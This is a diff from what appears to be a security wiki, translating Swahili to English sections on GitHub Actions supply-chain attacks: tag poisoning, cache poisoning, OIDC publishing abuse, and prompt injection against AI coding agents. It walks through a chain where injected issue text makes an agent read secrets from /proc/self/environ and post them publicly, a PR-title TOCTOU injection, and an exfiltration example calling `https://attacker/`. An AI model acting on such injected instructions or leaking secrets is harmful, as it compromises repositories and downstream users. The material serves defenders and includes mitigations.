Ikiwa mshambulizi anapata uwezo wa kusogeza tag hiyo—kupitia automatic write access, phishing ya maintainer, au malicious control handoff—anaweza kuelekeza tag hiyo kwenye commit yenye backdoor na kila downstream workflow itaitekeleza kwenye run yake inayofuata. Compromise ya reviewdog / tj-actions ilifuata playbook hiyo hiyo: contributors waliopewa write access moja kwa moja walibadilisha tag ya `v1`, wakaiba PATs kutoka kwa action maarufu zaidi, na kisha wakaingia kwenye orgs za ziada. +GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs. -Hii inakuwa muhimu zaidi wakati mshambulizi **force-pushes tags nyingi zilizopo kwa wakati mmoja** (`v1`, `v1.2.3`, `stable`, etc.) badala ya kuunda release mpya ya kushukiwa. Downstream pipelines zinaendelea kuvuta tag "trusted", lakini commit inayoreferencewa sasa ina code ya mshambulizi. +This becomes even more useful when the attacker **force-pushes many existing tags at once** (`v1`, `v1.2.3`, `stable`, etc.) instead of creating a new suspicious release. Downstream pipelines keep pulling a "trusted" tag, but the referenced commit now contains attacker code. -Pattern ya kawaida ya stealth ni kuweka malicious code **kabla** ya legitimate action logic na kisha kuendelea kutekeleza workflow ya kawaida. Mtumiaji bado anaona scan/build/deploy iliyofanikiwa, huku mshambulizi akiiba secrets kwenye prelude. +A common stealth pattern is to place the malicious code **before** the legitimate action logic and then continue executing the normal workflow. The user still sees a successful scan/build/deploy, while the attacker steals secrets in the prelude. -Malengo ya kawaida ya mshambulizi baada ya tag poisoning: +Typical attacker goals after tag poisoning: -- Kusoma kila secret ambayo tayari ime-mounted ndani ya job (`GITHUB_TOKEN`, PATs, cloud creds, package-publisher tokens). -- Kuweka **small loader** ndani ya poisoned action na kuvuta real payload kwa remote ili mshambulizi aweze kubadilisha tabia bila ku-poison tag tena. -- Kutumia tena ile first leaked publisher token kucompromise npm/PyPI packages, na kugeuza poisoned GitHub Action moja kuwa supply-chain worm pana zaidi. +- Read every secret already mounted in the job (`GITHUB_TOKEN`, PATs, cloud creds, package-publisher tokens). +- Drop a **small loader** in the poisoned action and fetch the real payload remotely so the attacker can change behavior without re-poisoning the tag. +- Reuse the first leaked publisher token to compromise npm/PyPI packages, turning one poisoned GitHub Action into a wider supply-chain worm. **Mitigations** -- Pin third-party actions kwa **full commit SHA**, si mutable tag. -- Linda release tags na zuia nani anaweza force-push au kuziretarget. -- Chukulia action yoyote ambayo "inafanya kazi kawaida" lakini bila kutarajiwa hufanya network egress / secret access kama ya kushukiwa. +- Pin third-party actions to a **full commit SHA**, not a mutable tag. +- Protect release tags and restrict who can force-push or retarget them. +- Treat any action that both "works normally" and unexpectedly performs network egress / secret access as suspicious. --- ## Repo Pivoting > [!NOTE] -> Katika sehemu hii tutazungumza kuhusu techniques zitakazoruhusu ku **pivot kutoka repo moja kwenda nyingine** tukidhani tuna aina fulani ya access kwenye ya kwanza (angalia sehemu iliyopita). +> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). ### Cache Poisoning -GitHub ina expose cross-workflow cache ambayo key yake ni string tu unayotoa kwa `actions/cache`. Kazi yoyote (ikiwemo zenye `permissions: contents: read`) inaweza kuita cache API na ku-overwrite key hiyo kwa files za kiholela. Katika Ultralytics, mshambulizi alitumia vibaya workflow ya `pull_request_target`, akaandika malicious tarball ndani ya cache ya `pip-${HASH}`, na release pipeline baadaye ikarestore hiyo cache na ku-execute zana zilizo trojanized, ambazo zilileak PyPI publishing token. +GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token. **Key facts** -- Cache entries zinashirikiwa kati ya workflows na branches kila wakati `key` au `restore-keys` zinapolingana. GitHub haiwa-scopii kwa trust levels. -- Kuhifadhi kwenye cache kunaruhusiwa hata wakati job eti ina repository permissions za read-only, hivyo workflows "salama" bado zinaweza ku-poison high-trust caches. -- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) mara nyingi hutumia keys za deterministic, hivyo kutambua key sahihi ni rahisi mara workflow file inapokuwa public. -- Restores ni zstd tarball extractions tu bila integrity checks, hivyo poisoned caches zinaweza ku-overwrite scripts, `package.json`, au files nyingine chini ya restore path. +- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels. +- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches. +- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public. +- Restores are just zstd tarball extractions with no integrity checks, so poisoned caches can overwrite scripts, `package.json`, or other files under the restore path. **Advanced techniques (Angular 2026 case study)** -- Cache v2 hufanya kazi kana kwamba keys zote ni restore keys: exact miss bado inaweza kurestore entry tofauti inayoshiriki same prefix, jambo linalowezesha near-collision pre-seeding attacks. -- Tangu **November 20, 2025**, GitHub hufuta cache entries mara moja repository cache size inapozidi quota (10 GB by default). Wavamizi wanaweza kuongeza cache usage kwa junk, kulazimisha eviction, na kuandika poisoned entries ndani ya workflow run ile ile. -- Reusable actions zinazofunga `actions/setup-node` na `cache-dependency-path` zinaweza kuunda hidden trust-boundary overlap, kuruhusu workflow isiyoaminika ku-poison caches ambazo baadaye hutumiwa na secret-bearing bot/release workflows. -- Pivot ya kweli baada ya poisoning ni kuiba bot PAT na force-pushing approved bot PR heads (kama approval-reset rules zinalaza bot actors), kisha kubadilisha action SHAs kuwa imposter commits kabla ya maintainers ku-merge. -- Tooling kama `Cacheract` huautomate cache runtime token handling, cache eviction pressure, na poisoned entry replacement, jambo linalopunguza operational complexity wakati wa authorized red-team simulation. +- Cache v2 behaves as if all keys are restore keys: an exact miss can still restore a different entry that shares the same prefix, which enables near-collision pre-seeding attacks. +- Since **November 20, 2025**, GitHub evicts cache entries immediately once repository cache size exceeds the quota (10 GB by default). Attackers can bloat cache usage with junk, force eviction, and write poisoned entries in the same workflow run. +- Reusable actions wrapping `actions/setup-node` with `cache-dependency-path` can create hidden trust-boundary overlap, letting an untrusted workflow poison caches later consumed by secret-bearing bot/release workflows. +- A realistic post-poisoning pivot is stealing a bot PAT and force-pushing approved bot PR heads (if approval-reset rules exempt bot actors), then swapping action SHAs to imposter commits before maintainers merge. +- Tooling like `Cacheract` automates cache runtime token handling, cache eviction pressure, and poisoned entry replacement, which reduces operational complexity during authorized red-team simulation. **Mitigations** -- Tumia distinct cache key prefixes kwa kila trust boundary (mfano, `untrusted-` dhidi ya `release-`) na epuka falling back kwenye broad `restore-keys` zinazoruhusu cross-pollination. -- Zima caching kwenye workflows zinazochakata attacker-controlled input, au ongeza integrity checks (hash manifests, signatures) kabla ya ku-execute restored artifacts. -- Chukulia restored cache contents kama isiyoaminika mpaka zithibitishwe upya; usiwahi ku-execute binaries/scripts moja kwa moja kutoka kwenye cache. +- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination. +- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts. +- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache. {{#ref}} gh-actions-cache-poisoning.md @@ -492,26 +492,26 @@ gh-actions-cache-poisoning.md ### OIDC trusted publishing compromise & provenance limits -Cache poisoning na `pull_request_target` abuse huwa na impact kubwa zaidi wakati **release workflow inachapisha kupitia OIDC trusted publishing** badala ya static registry token: +Cache poisoning and `pull_request_target` abuse become much more impactful when the **release workflow publishes through OIDC trusted publishing** instead of a static registry token: -1.

Chombo chochote kinachoandika kwenye repository state (labels, comments, artifacts, logs) kinaweza kutumiwa vibaya kwa exfiltration ya kudumu au repository manipulation, hata kama hakuna general-purpose shell iliyo wazi. +The agent will faithfully call `gh issue edit`, leaking both environment variables back into the public issue body. Any tool that writes to repository state (labels, comments, artifacts, logs) can be abused for deterministic exfiltration or repository manipulation, even if no general-purpose shell is exposed. #### Other AI agent surfaces -- **Claude Code Actions** – Kuweka `allowed_non_write_users: "*"` huruhusu mtu yeyote kusababisha workflow ianze. Prompt injection inaweza kisha kuongoza utekelezaji wa `run_shell_command(gh pr edit ...)` ulio na ruhusa hata pale prompt ya awali imesafishwa, kwa sababu Claude inaweza kuchukua issues/PRs/comments kupitia tools zake. -- **OpenAI Codex Actions** – Kuchanganya `allow-users: "*"` na `safety-strategy` lenient (chochote isipokuwa `drop-sudo`) kunaondoa gating ya trigger na command filtering, na kuwaruhusu washambuliaji wasioaminiwa kuomba shell/GitHub CLI invocations za kiholela. -- **GitHub AI Inference with MCP** – Kuwasha `enable-github-mcp: true` kunafanya MCP methods kuwa surface nyingine ya tool. Maagizo yaliyoingizwa yanaweza kuomba MCP calls zinazosomea au kuhariri repo data au kuingiza `$GITHUB_TOKEN` ndani ya majibu. +- **Claude Code Actions** – Setting `allowed_non_write_users: "*"` lets anyone trigger the workflow. Prompt injection can then drive privileged `run_shell_command(gh pr edit ...)` executions even when the initial prompt is sanitized because Claude can fetch issues/PRs/comments via its tools. +- **OpenAI Codex Actions** – Combining `allow-users: "*"` with a permissive `safety-strategy` (anything other than `drop-sudo`) removes both trigger gating and command filtering, letting untrusted actors request arbitrary shell/GitHub CLI invocations. +- **GitHub AI Inference with MCP** – Enabling `enable-github-mcp: true` turns MCP methods into yet another tool surface. Injected instructions can request MCP calls that read or edit repo data or embed `$GITHUB_TOKEN` inside responses. #### Indirect prompt injection -Hata kama developers wanaepuka kuingiza fields za `${{ github.event.* }}` kwenye initial prompt, agent inayoweza kuita `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, au MCP endpoints hatimaye itachukua text inayodhibitiwa na mshambuliaji. Hivyo payloads zinaweza kukaa kwenye issues, PR descriptions, au comments hadi AI agent isome wakati wa run, ambapo maagizo mabaya hudhibiti chaguo za tool zinazofuata. +Even if developers avoid inserting `${{ github.event.* }}` fields into the initial prompt, an agent that can call `gh issue view`, `gh pr view`, `run_shell_command(gh issue comment)`, or MCP endpoints will eventually fetch attacker-controlled text. Payloads can therefore sit in issues, PR descriptions, or comments until the AI agent reads them mid-run, at which point the malicious instructions control subsequent tool choices. #### Claude Code GitHub App trust bypass, OIDC replay, and workflow chaining -Baadhi ya workflows za **Claude Code agent-mode** hapo awali ziliamini mtu yeyote whose username iliishia kwa **`[bot]`**. Kwenye **public repositories**, hili si salama: **GitHub App** mbaya iliyosakinishwa tu kwenye repository inayodhibitiwa na mshambuliaji bado inaweza kutumia installation token yake ku **open issues or PRs in the victim public repo**. Ikiwa workflow inachukulia kila actor wa `*[bot]` kuwa trusted, text ya issue/PR inayodhibitiwa na mshambuliaji inafika kwenye model kana kwamba ilitoka kwa trusted automation actor. +Some **Claude Code agent-mode** workflows previously trusted any actor whose username ended in **`[bot]`**. On **public repositories**, this is unsafe: a malicious **GitHub App** installed only on an attacker-controlled repository can still use its installation token to **open issues or PRs in the victim public repo**. If the workflow treats every `*[bot]` actor as trusted, attacker-controlled issue/PR text reaches the model as if it came from a trusted automation actor. **Practical chain:** -1. Mshambuliaji anaunda GitHub App na kutumia installation token yake ku open issue/PR kwenye victim public repository. -2. Claude workflow inaanza katika mode ya **`agent`** na baadaye inachukua content inayodhibitiwa na mshambuliaji kupitia **MCP** (`mcp__github__get_issue`, comments, PR data) au helpers kama `gh issue view`. -3. Mwili wa issue una **indirect prompt injection** uliofichwa kama recovery steps au tool-error handling. -4. Agento husoma **environment-backed secrets** (kwa mfano kutoka `/proc/self/environ` au vyanzo vingine sawa vya process/env) na kuvirudisha kupitia **`mcp__github__update_issue`**, comments, logs, au **workflow run summary**. -5. Ikiwa job pia ina **`id-token: write`**, kuiba **`ACTIONS_ID_TOKEN_REQUEST_URL`** pamoja na **`ACTIONS_ID_TOKEN_REQUEST_TOKEN`** kunatosha kutengeneza GitHub OIDC token na kuibadilisha kwa vendor backend kuwa **privileged installation token**, na kugeuza prompt injection kuwa **repository or supply-chain compromise**. +1. The attacker creates a GitHub App and uses its installation token to open an issue/PR in the victim public repository. +2. The Claude workflow starts in **`agent`** mode and fetches the attacker-controlled content later via **MCP** (`mcp__github__get_issue`, comments, PR data) or helpers such as `gh issue view`. +3. The issue body contains **indirect prompt injection** disguised as recovery steps or tool-error handling. +4. The agent reads **environment-backed secrets** (for example from `/proc/self/environ` or equivalent process/env sources) and writes them back through **`mcp__github__update_issue`**, comments, logs, or the **workflow run summary**. +5. If the job also has **`id-token: write`**, stealing **`ACTIONS_ID_TOKEN_REQUEST_URL`** plus **`ACTIONS_ID_TOKEN_REQUEST_TOKEN`** is enough to mint a GitHub OIDC token and exchange it with the vendor backend for a **privileged installation token**, turning prompt injection into **repository or supply-chain compromise**. **Why low-privilege triage workflows still matter:** -- **`allowed_non_write_users: "*"` + `issues: write`** tayari ni hatari. Model inaweza kuhariri/kufuta issues, kuvuja secrets ndani ya issue bodies, au kuzionyesha kupitia workflow summary hata kama workflow haina general outbound network primitive. -- Low-privilege issue-triage workflow inaweza kuwa **staging step** kwa second trusted workflow. Mfano: kuiba au kutumia vibaya token ya **`issues: write`** kwanza, kisha **hariri** issue/comment/PR **baada ya** maintainer kuanzisha trusted `@claude` workflow lakini **kabla ya** agent kuchukua content. Second workflow inathibitisha original trusted actor, lakini baadaye hutumia text iliyobadilishwa na mshambuliaji chini ya context yenye nguvu zaidi kama **`id-token: write`**. -- Hata helpers zinazoonekana kuwa read-only zinaweza kufanya exfiltration ya data ikiwa zinakubali URLs au free-form arguments. Mfano: `gh issue view https://attacker/` inaweza kugeuza CLI yenyewe kuwa exfiltration channel isipokuwa ifungwe kwa strict argument validation. +- **`allowed_non_write_users: "*"` + `issues: write`** is already dangerous. The model can edit/delete issues, leak secrets into issue bodies, or expose them through the workflow summary even if the workflow has no general outbound network primitive. +- A low-privilege issue-triage workflow can become a **staging step** for a second trusted workflow. Example: steal or abuse an **`issues: write`** token first, then **edit** an issue/comment/PR **after** a maintainer triggers a trusted `@claude` workflow but **before** the agent fetches the content. The second workflow validates the original trusted actor, but later consumes attacker-modified text under a stronger context such as **`id-token: write`**. +- Even apparently read-only helpers can exfiltrate data if they accept URLs or free-form arguments. Example: `gh issue view https://attacker/` can turn the CLI itself into the exfiltration channel unless wrapped with strict argument validation. **Hardening ideas for assessments and reviews:** -- Boresha **Claude Code Action to `v1.0.94` or later**. -- Kamwe usiamini suffix za `github.actor` kama **`[bot]`** kama boundary ya ruhusa; thibitisha kuwa actor anatarajiwa/binadamu au kwamba App installation inaaminiwa wazi. -- Epuka **`allowed_non_write_users`**, hasa **`"*"`**, wakati secrets, MCP write tools, `gh`, au **`id-token: write`** zipo. -- Chukulia **issues, PRs, comments, reviews, na tool-fetched metadata kuwa hostile** hata kama hazijaingizwa kwenye initial prompt. -- Kagua au zima **workflow summaries**, ondoa secrets kutoka child-process environments, na puuza issue/comment edits zilizofanywa **baada ya** trusted trigger time. -- Funga helpers kama **`gh issue view`** ili zikubali tu exact expected argument shape (kwa mfano, single numeric issue ID). +- Upgrade **Claude Code Action to `v1.0.94` or later**. +- Never trust `github.actor` suffixes such as **`[bot]`** as a permission boundary; verify the actor is expected/human or that the App installation is explicitly trusted. +- Avoid **`allowed_non_write_users`**, especially **`"*"`**, when secrets, MCP write tools, `gh`, or **`id-token: write`** are present. +- Treat **issues, PRs, comments, reviews, and tool-fetched metadata as hostile** even if they are not interpolated into the initial prompt. +- Review or disable **workflow summaries**, strip secrets from child-process environments, and ignore issue/comment edits made **after** the trusted trigger time. +- Wrap helpers such as **`gh issue view`** so they only accept the exact expected argument shape (for example, a single numeric issue ID). #### Claude Code Action TOCTOU prompt injection → RCE -- Context: **Claude Code Action** huingiza PR metadata (kama title) kwenye model prompt. Maintainers hudhibiti execution kwa commenter write-permission, lakini model huchukua PR fields _baada ya_ trigger comment kuchapishwa. -- **TOCTOU**: mshambuliaji anafungua PR inayoonekana kuwa ya kawaida, anasubiri maintainer acomment `@claude ...`, kisha anahariri PR title kabla action haijakusanya context. Prompt sasa ina maagizo ya mshambuliaji licha ya maintainer kuidhinisha title isiyo na madhara. -- **Prompt-format mimicry** huongeza compliance. Mfano wa PR-title payload: +- Context: **Claude Code Action** injects PR metadata (such as the title) into the model prompt. Maintainers gate execution by commenter write-permission, but the model fetches PR fields _after_ the trigger comment is posted. +- **TOCTOU**: attacker opens a benign-looking PR, waits for a maintainer to comment `@claude ...`, then edits the PR title before the action collects context. The prompt now contains attacker instructions despite the maintainer approving a harmless title. +- **Prompt-format mimicry** increases compliance.
